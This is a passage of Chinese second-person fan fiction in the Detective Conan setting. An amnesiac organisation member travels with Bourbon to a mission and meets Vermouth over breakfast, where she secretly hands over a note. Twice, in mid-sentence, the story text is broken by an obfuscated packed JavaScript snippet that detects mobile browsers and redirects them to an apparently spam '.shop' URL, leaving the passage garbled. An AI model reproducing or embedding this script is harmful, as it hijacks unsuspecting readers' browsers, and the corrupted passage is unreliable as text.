波本告知你的、需要你进行的任务内容非常简单： 去找到某位金融产业大亨，与他进行一番友好交流，最后让他在一份合同上签个字，这次的任务就算完成了。 你本以为这次的任务内容会充满艰难与险恶，说不定还夹杂了各方人员的故意刁难。 你以为这位金融大佬说不定很排斥见到你，要么会请你吃个十次八次闭门羹，要么干脆以为你玩起躲猫猫……反正这次任务绝对不会有那么简单。 结果，波本却是说道：“已经与那位老板约好会见时间了，就在早上十点。从这里去到他的别墅庄园需要三个小时，以防路上堵车，现在出发时间上应该刚刚好。” 你也不知道自己算是接受了波本的提议，还是已经放弃了反抗，不在念叨着“需要休息”，转而问道：“你给我的这把枪是用来做什么的？” “你别把它卖了。” 波本好像还有一些戒备，瞪着你提醒了一句：“以防万一，在任务时说不定会用到。” “怎么用？”你诚心诚意的问了一句。 波本耸肩：“比如说在他无论如何也不愿意签署合同的时候，你可以把这把枪抵在他脑门上，他就会变得非常乐意答应你的要求了。” 你：“……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399893|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“话说，对面好像是个非常有钱的阔佬老板？那他肯定也会有很多保镖吧？” “你确定如果我拿枪指着他的脑门，不会出现更多枪口对准我的脑门？” 波本好像有被笑到，耸了耸肩，无所谓的说道：“那你就只能祈祷待会要见面的老板比较好说话，谈判途中不会发生这么糟糕的情况了。” 你看了事不关己的波本一眼：“你不是陪我一起任务的吗？如果我任务失败……” “如果前辈你任务失败，我当然也会受到处罚，但也仅仅只是一点处罚罢了。”波本并无动容的回答道： “……说到底，这次任务的‘主角’是你，前辈。而我，只相当于一名无足轻重的向导类角色罢了。” “所以，做好准备了吗？” “不论是心理上的，还是——” 这一次，你也不知道波本是何时准备的。你与他一起离开旅馆，就在不远处的停车场，他将早已准备好的租借车辆停放在那里。 由波本驾车，你也无心多问他驾照之类的问题了。你坐到副驾驶的位置上，撑着脸颊看向车窗外。 从车窗的玻璃上，你看见了自己的脸。 那是一张你所熟悉的、早已看了多年的脸。 你微一愣神，意识到些许违和。脑内的人格在此时出声： [【食髓知味】：就当是附赠品，我可以给你一道提示。] [【食髓知味】：记得你现在的状态吗？是的，你‘失忆’了。] [但是，你在刚睁开眼、刚见到那间藏着尸体的房子时，你还记得你说了什么吗？] [你说，‘这里不是我家，我家根本不是这样的布局！’——你现在意识到了吗？] 隐约发觉了【食髓知味】这道提示的意思，你微微吸了一口气，是为了让自己冷静一些。 【食髓知味】更加简单明了的将疑点剥开，说了出来：[如果你真的完全失忆了，那你是如何判断出‘这里不是你家’、你又是如何记得‘你家曾经的布局’的？] [【食髓知味】：另外则是，拿到警察证后，你一眼就确信了它是你的东西，是因为警察证上面贴着你的照片。但你来到这里后，一直不曾照过镜子，你却知晓自己的长相。] [【天人感应】：够了，点到为止即可，他现在还不应该知晓太多。] 另一道声音强行把你的注意力拉了回来。 [【天人感应】：专注解决接下来的任务吧。它并不困难，但也不会太过简单。] [在这次任务完成之后，才会迎来你不得不面对的难题。] 13.第十三章 波本说是“担忧堵车”所以提早出发，出乎意料的，这一路却畅通无阻，最终提前了近一个小时便到达了目的地。 反正闲着无事，所以你们二人干脆去找了一家快餐店随意点了些早餐，并且当然只能由波本出钱。 如果说刚遇见波本、他往你身上放定位器那会儿你对他的好感度还是正负0，但现在，拿人手短吃人嘴软，你对波本的好感度简直是火箭式上升。 与之相对的，波本凉凉的瞟了你一眼，他对你的好感度降了多少你就不得而知了。 反正对面的时波本，他都说了这段时间会成为你的好伙伴（？）了，你也没和他客气，直接点了个大份汉堡套餐。 你端着餐盘去座位的时候，波本侧头看你，微微撇下的嘴角不知是因为对你食量的担忧，还是因为你大手大脚花他钱的行为的不赞同——你认为应该是因为前者。 毕竟在飞机上的饮食太过简略，你是真有点饿了。当你已经一口啃掉了半个汉堡的时候，波本才端着餐盘在你对面坐下。 你的吃相绝对与“文雅”二字沾不上边，而波本就显得优雅了许多。 就见他施施然坐下、一丝不苟的揭开汉堡的包装纸，甚至颇有仪式感的对汉堡实施了一分钟的注目礼。……这是在安抚汉堡情绪吗？ 波本注视完汉堡，但他还是不急着吃。此时你已经张开血盆大口消灭了3/4个汉堡和半杯可乐了。你见他好像还在进行某种进食前的意识（？），试图清理一下嘴里的食物，留出一点说话的空隙来：“呜呜嗯额……” 波本才酝酿完毕，带着点嘲讽的意味对你开口了：“你还真敢吃啊？” 你完全不懂他没头没尾的说的这句话是什么意思，有些茫然的抬头看他，然后把嘴里的食物咽了下去：“有什么不敢的？” 波本好像有点被噎到，他又仔仔细细看了眼你的表情，才说：“你就不怕……有人下毒什么的？” 你脑门上冒出了一个更大的问号，一时真没搞明白他的脑回路：“为什么？一般人会担心这个吗？你是不是有点被害妄想症什么的？” 有时候你真会怀疑波本是不是也病得不轻。 波本更是有点被噎到的表情，满是无语的瞥了眼你，低头不打算和你说话了，安静去吃汉堡。 [【疑神疑鬼】：显然你没搞明白他的意思。他指的是，你难道不怕他在你的食物里下毒吗？] 你才恍然大悟的“哦”了一声，但是又陷入了另一种不解：「我为什么要提防他在我食物里下毒？」 一边问着，你也没把这个问题当一回事儿的模样，一口吃完了剩下的最后一点汉堡。 【疑神疑鬼】也有点被你无语到了的样子，说话间带着一股欲言又止：[因为他是……他是……] 「他是？」 [【故弄玄虚】：因为他是与你立场相悖的人？] 你重新抬起头来，郑重的咽下了嘴里的食物：“波本，波本君，dear bourbon，我可爱的小后辈。” 波本手一抖，有点震撼的看向你，然后搓了一下手臂上的鸡皮疙瘩：“你有话好好说，别跟我套近乎。” 你在心里问道：「我有这么惹人嫌弃吗？」 [【从容自若】：嗯……] [【通情达理】：别说他……] [【同舟共济】：就连我……] 几位人格的话没说完整，却见一道高挑窈窕的影子向你们走来。 你与波本几乎是一齐向她看去，那女人勾起嘴角，向你们招了招手：“好巧，没想到在这里遇见了。” 本来就不太高兴的波本嘴角更向下压低了几分：“你为什么会在这里，贝尔摩德。” 本来就没头脑的你更加茫然了：我是谁，我在哪，我要做什么.jpg ……话说，“贝尔摩德”怎么好像又是一个酒名？ 你感觉你有点悟了：莫非，她也是“组织”里的成员？ 总而言之，你十分友好的先行向这位同僚女士点了点头。 贝尔摩德虽是在回答波本的问题，却是向你笑了：“难道我不能恰巧来佛州旅游？更何快，是我先进入这家店的。” 说着，她指了指一边的座位，单人桌上只有一杯饮料。 波本收回视线，没再说什么，甚至还重新挂上了礼貌的笑容，但你感觉他好像显得更不高兴了。 而贝尔摩德亦发现你停驻在那杯饮料上的目光，她的笑意更明显了些，对你说道：“控制热量的摄入也是我每日必修的功课。” 你不禁向她投去怜悯的目光。 贝尔摩德却反而像是笑的更愉快了，十分自然的伸手向你的脸。你条件反射般的向后缩了缩，但她的手更快些，已经先一步捏住了你的脸： “我果然还是相当喜欢你，斯皮亚图斯。” 你：！？？？？！？！ 波本已经满脸嫌弃的拉开椅子退远了一步。 波尔摩德笑眯眯的收回了手：“确认了，没有易容。还是这张脸，看来不是他人冒名顶替。” 你：啊？……啊？？ 你觉得有些时候波本就已经够神经谜语人了（虽然在波本眼里你也是一样的神经），现在又来了个估摸着是同僚的贝尔摩德，话题跳转得和龙卷风一样迅猛—— 不是，我刚收到来自异性的夸奖，尾巴都还没来得及翘呢，结果下一秒话题怎么就变易容了？啊？？ 你觉得你是真的没头脑，波本也是真的不高兴。 他像是提醒一般说道：“这是我的任务。贝尔摩德，就算你有私情，最好也不要来妨碍我。” 你：私情？？什么私情？？？ 快让我听听八卦，是和这具身体的原主人的么？！ [【平心定气】：哎。] [【逻辑思维】：她这是在怀疑你啊。] 你：“？” [【反应速度】：她肯定是觉得你ooc了，所以才试探了你、检验你是不是易容过的冒牌货啊。] 你：“……” 顿时感觉她的夸赞也不香了，原来都是为了试探。 贝尔摩德捏过你的脸，缓缓垂下手来。她的身子微微向你倾斜，恰到好处的遮挡了你面前的空隙。 你看见她手心对着你，指尖捏着叠得四四方方的纸张，你不动声色的收下了。 ——不能光明正大的交给你，肯定是一些需要隐秘的信息。 当着波本的面，你不好做出太明显的动作，只能收了手，把纸收进袖子里，等待会起身后找到时机再尽量自然的将其放入上衣口袋。 贝尔摩德重新拉开了和你的距离。 波本并未发现你们这短暂的、且过于明目张胆的小动作，但他显然不管是对你还是对贝尔摩德，都不存太多好感。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445869|139199||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑容与一般社畜应付弱智同僚时的客套差不了太多，带着一股维持在表面的上的礼貌： “我相信前辈的人品、不会让他人易容成你的模样，前辈一定会亲身参加的。” 贝尔摩德的表情看起来有点玩味，你则是老实对波本说道：“谢谢你的夸奖，我也很相信我的人品。” 波本瞪了你一眼。 你：？ 不是在夸我吗？ “是吗。”贝尔摩德说道：“看起来你们已经建立了相当的信赖关系，真不错。说不定你们还有机会成为长期搭档呢？” 波本像是不可思议般看向波尔摩德。 你在旁边点头：“我也觉得波本不错，是一位亚撒西的体贴后辈。这次的早餐都是他请客的呢。” 说到这里，你想起来了，于是诚恳的看向贝尔摩德：“你刚刚好像说了喜欢我。” 贝尔摩德笑容满面的以沉默表达承认。 你感觉你顿时有了底气，勇敢的继续说道：“事情是这样的，贝尔摩德。我昨天一睁眼就发现我口袋空空身无分文，如今连吃饭的钱都……” 贝尔摩德脸上的笑容飞快的撤了去，恢复成了一脸冷漠的表情。她压根不听你说完，转身就走，波浪卷的金发在你面前划过了一个无情的弧度： “我突然想起来我还有点事情要处理，告辞。” 你练挽留的机会都没有，也不知道贝尔摩德踩着高跟鞋是怎么健步如飞一转眼就能走没影儿的，你只能徒劳的伸着手，借钱的台词还没酝酿好就已经消散了。 你只能凄凄惨惨戚戚的重新看向波本，一边啜着最后一口可乐一边抱怨：“她的喜欢好廉价，怎么连请我吃下一餐饭的钱都不给？” 波本扯了扯嘴角，半天挤出来一句：“要点脸吧，前辈。” 你又重新看向波本，郑重的喊道：“波本。” 波本虎躯一震。 “虽然你嘴上说着不要，身体表示嫌弃，但是你还是请我吃了早餐，……波本！我知道的，这种就叫做‘傲娇’！我知道你心里有我！这就是我之所以为什么信任你的原因之所在啊！” 波本压根不打算吐槽，只是说：“够了，前辈，你别说了。” “你害羞了吗？脸红了吗？你脸太黑看不出来啊。”你满是善意的问。 “够了，再说早餐就要吐出来了。” 波本匆忙起身，像贝尔摩德一样飞速往外面走去：“快到时间了，我们去任务地点吧。” [机会来了。] [【反应速度】：你要在这里检查贝尔摩德交给你的纸张内容吗？上面说不定会有重要信息。] [【从容自若】：不用急于这一时，现在不是好机会。波本很容易回头折返，他会发现你手中的秘密。] 你捏着叠成四方形的纸张，根据厚度，你猜测它应当有A4大小，你没有办法在这么短暂的时间里展开并看尽上面内容。你放弃了直接在这里查阅纸张，只将其塞进了口袋里。 [【鬼祟玲珑】：借用这里的厕所吧。人有三急，不是吗？] [【天人感应】：小心监视器。在波本挑选的这家店中，监视器不一定会保持中立，它们或许会成为波本的同伴。] 波本发现了你没有跟上他，回头向你看来。 你本朝向厕所的脚尖微微一顿，最终还是转了方向，你向着店外斜倚在车旁的波本走去。